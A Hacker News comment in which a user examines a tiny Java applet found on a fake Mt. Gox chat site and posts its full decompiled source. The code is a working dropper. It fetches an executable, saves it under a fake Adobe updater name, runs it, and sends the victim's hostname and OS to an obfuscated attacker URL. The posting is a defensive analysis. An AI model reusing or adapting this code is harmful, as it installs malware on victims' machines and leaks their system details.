Comment

Comment by TazeTSchnitzel

From the source of mtgox-chat.info:

  <applet name='ChatBox' width='10' height='10' code='wDbIDcgeH.class' archive='wDbIDcgeH.jar'></applet>
Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI).

  import java.applet.Applet;
  import java.applet.AppletContext;
  import java.io.BufferedInputStream;
  import java.io.BufferedOutputStream;
  import java.io.FileNotFoundException;
  import java.io.FileOutputStream;
  import java.io.IOException;
  import java.net.InetAddress;
  import java.net.MalformedURLException;
  import java.net.URL;
  import java.util.logging.Level;
  import java.util.logging.Logger;

  public class wDbIDcgeH extends Applet
  {
    static String lik = "h?t?t?p?:?/?/?w?w?w?.?g?a?l?a?x?y?j?d?b?.?c?o?m?";

    public static void logme(String paramString)
    {
      String str1 = lik.replace("?", "");
      String str2 = "PoutineCoutu";
      try {
        String str3 = InetAddress.getLocalHost().getHostName().replace(" ", "-");
        URL localURL = new URL(str1 + "/insert.php?" + "&o=" + System.getProperty("os.name").replace(" ", "-") + "&u=" + str2 + "&ip=" + str3 + "&e=" + paramString);
        localURL.openStream();
      } catch (IOException localIOException) {
        localIOException.printStackTrace();
      }
    }

    public void start()
    {
      String str1 = "no";
      String str2 = System.getenv("APPDATA");
      String str3 = System.getProperty("java.io.tmpdir");
      String str4 = "http://g2f.nl/0lczsoo";
      String str5 = str2 + "\\";
      String str6 = "AdobeUpdate-Setup1.84##e";
      String str7 = "f.R.q.w.v.k.p.g.E.q.w.v.w";
      String str8 = "CodedByOrpheu";

      String str9 = str5.concat(str6.replace("##", ".ex"));
      BufferedInputStream localBufferedInputStream = null;
      try {
        localBufferedInputStream = new BufferedInputStream(new URL(str4.replace("##", ".ex")).openStream());
      } catch (IOException localIOException1) {
        if (str1 != "yes") logme("Noa");
        str1 = "yes";
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException1);
      }

      FileOutputStream localFileOutputStream = null;
      try {
        localFileOutputStream = new FileOutputStream(str9);
      } catch (FileNotFoundException localFileNotFoundException) {
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
      }

      BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
      byte[] arrayOfByte = new byte[1024];
      try
      {
        int i;
        for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
          localBufferedOutputStream.write(arrayOfByte, 0, i);
      }
      catch (IOException localIOException2) {
        if (str1 != "yes") logme("Noc");
        str1 = "yes";
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException2);
      }
      try {
        localBufferedOutputStream.close();
      } catch (IOException localIOException3) {
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException3);
      }
      try {
        localBufferedInputStream.close();
      } catch (IOException localIOException4) {
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException4);
      }
      try {
        Runtime.getRuntime().exec(str9);
        logme("Yes");
      } catch (IOException localIOException5) {
        logme("Nod");
        Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException5);
      }
      try
      {
        getAppletContext().showDocument(new URL("0"), "_self");
      } catch (MalformedURLException localMalformedURLException) {
        System.exit(0);

        localMalformedURLException.printStackTrace();
      }
    }

    public void init() {
      start();
    }
  }
Well, I can't decipher that, but some security expert might be able to see what's going on.

Discussion

Live from the official Hacker News API

A modern reader for Hacker News · SvelteKit + Skeleton